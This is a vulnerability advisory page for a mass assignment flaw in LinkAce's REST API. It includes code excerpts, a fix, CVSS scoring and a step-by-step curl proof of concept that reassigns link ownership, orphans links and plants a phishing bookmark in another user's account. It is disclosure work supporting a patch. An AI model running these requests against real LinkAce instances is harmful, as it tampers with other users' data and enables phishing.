← Back to CVE List
CVE-2026-104184NVD
Vulnerability Summary
Summary I found a mass assignment vulnerability in LinkAce's REST API link update endpoint. The API `LinkController::update()` passes `$request->all()` — the raw, unvalidated request body — to the repository's `update()` method, which calls `$link->update($data)`. Since `user_id` is in the `Link` model's `$fillable` array, an authenticated API user can set any link's `user_id` to an arbitrary value: transferring the link to another user's account, orphaning it to a non-existent user, or injecting content into another user's bookmark collection. The web controller is unaffected because it correctly uses `$request->validated()`. Details In `app/Http/Controllers/API/LinkController.php` at line 61: ```php // API/LinkController.php line 61 public function update(LinkUpdateRequest $request, ApiLink $link): JsonResponse { $this->authorize('update', $link); $updatedLink = LinkRepository::update($link, $request->all()); // ← raw input, not validated() return response()->json($updatedLink); } ``` `LinkRepository::update()` calls `$link->update($data)` directly with the attacker-supplied array. In `app/Models/Link.php` line 62, `user_id` is included in `$fillable`: ```php // app/Models/Link.php line 62 protected $fillable = [ 'url', 'title', 'description', 'is_private', 'check_disabled', 'status', 'thumbnail_file', 'favicon_file', 'user_id', // ← mass-assignable ]; ``` The `LinkUpdateRequest` validation rules do not include `user_id`, so `$request->validated()` would exclude it. But `$request->all()` includes every key the client sends. By contrast, the web controller in `app/Http/Controllers/LinkController.php` uses `$request->validated()`: ```php // Web LinkController::update() — correct: $updatedLink = LinkRepository::update($link, $request->validated()); ``` PoC Prerequisites: - A registered LinkAce account with an API token - Tools: `curl` ```bash LINKACE="https://linkace.example.com" API_TOKEN="<your-sanctum-api-token>" Step 1 — Create a link owned by the current user (user ID will be, e.g., 1) LINK_RESP=$(curl -s -X POST "$LINKACE/api/v2/links" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com","title":"My Private Link","is_private":1}') LINK_ID=$(echo "$LINK_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])") echo "Created link ID: $LINK_ID (owner: user_id=$(echo $LINK_RESP | python3 -c \"import sys,json; print(json.load(sys.stdin)['user_id'])\"))" Expected: {"id": 5, "user_id": 1, "url": "https://example.com", ...} Step 2 — Transfer ownership to another user (e.g., user ID 2) curl -s -X PATCH "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com","title":"My Private Link","user_id":2}' | \ python3 -c "import sys,json; d=json.load(sys.stdin); print('New owner user_id:', d.get('user_id'))" Expected: "New owner user_id: 2" — link transferred to user 2 Step 3 — Verify the original owner can no longer see the link curl -s "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" Expected: 403 Forbidden — link now belongs to user 2, not user 1 Step 4 — Orphan a link by assigning it to a non-existent user_id curl -s -X PATCH "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://example.com","user_id":99999}' Expected: {"user_id": 99999, ...} — link orphaned, inaccessible to any real user Step 5 — Inject a link into another user's account (attacker creates link, assigns to victim) curl -s -X PATCH "$LINKACE/api/v2/links/$LINK_ID" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url":"https://phishing.example.com","title":"Important: Update your password","user_id":2}' Expected: link now appears in user 2's bookmark list without their knowledge ``` Impact An authenticated API user can: 1. Permanently lose their own links: by setting `user_id` to a non-existent ID, the link is orphaned and inaccessible to anyone 2. Transfer their links to another user's account: the victim user now sees a link they never created in their bookmark list, including any private notes attached to it 3. Inject crafted content into another user's account: an attacker can create a phishing link or misleading bookmark and inject it into any user's collection, potentially causing the victim to visit malicious URLs that appear to come from their own bookmarks 4. Deny service to self: all of an attacker's own links can be reassigned away, destroying their entire bookmark collection Fix Replace `$request->all()` with `$request->validated()` in `app/Http/Controllers/API/LinkController.php` line 65: ```php // Change: $updatedLink = LinkRepository::update($link, $request->all()); // To: $updatedLink = LinkRepository::update($link, $request->validated()); ``` The `LinkUpdateRequest` validator already defines the correct set of permitted fields (url, title, description, lists, tags, visibility, check_disabled) and does not include `user_id`, so `validated()` will exclude it automatically. Apply the same audit to `ListController` and `TagController` API update methods to ensure they also use `validated()`. If possible, please apply for a CVE number when publishing. I would greatly appreciate it.
CVSS v3.1 Base Metrics — Score 7.1
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityHigh
AvailabilityNone
Affected & Patched Versions
- kovah/linkace <= 2.5.9
- kovah/linkace 2.6.0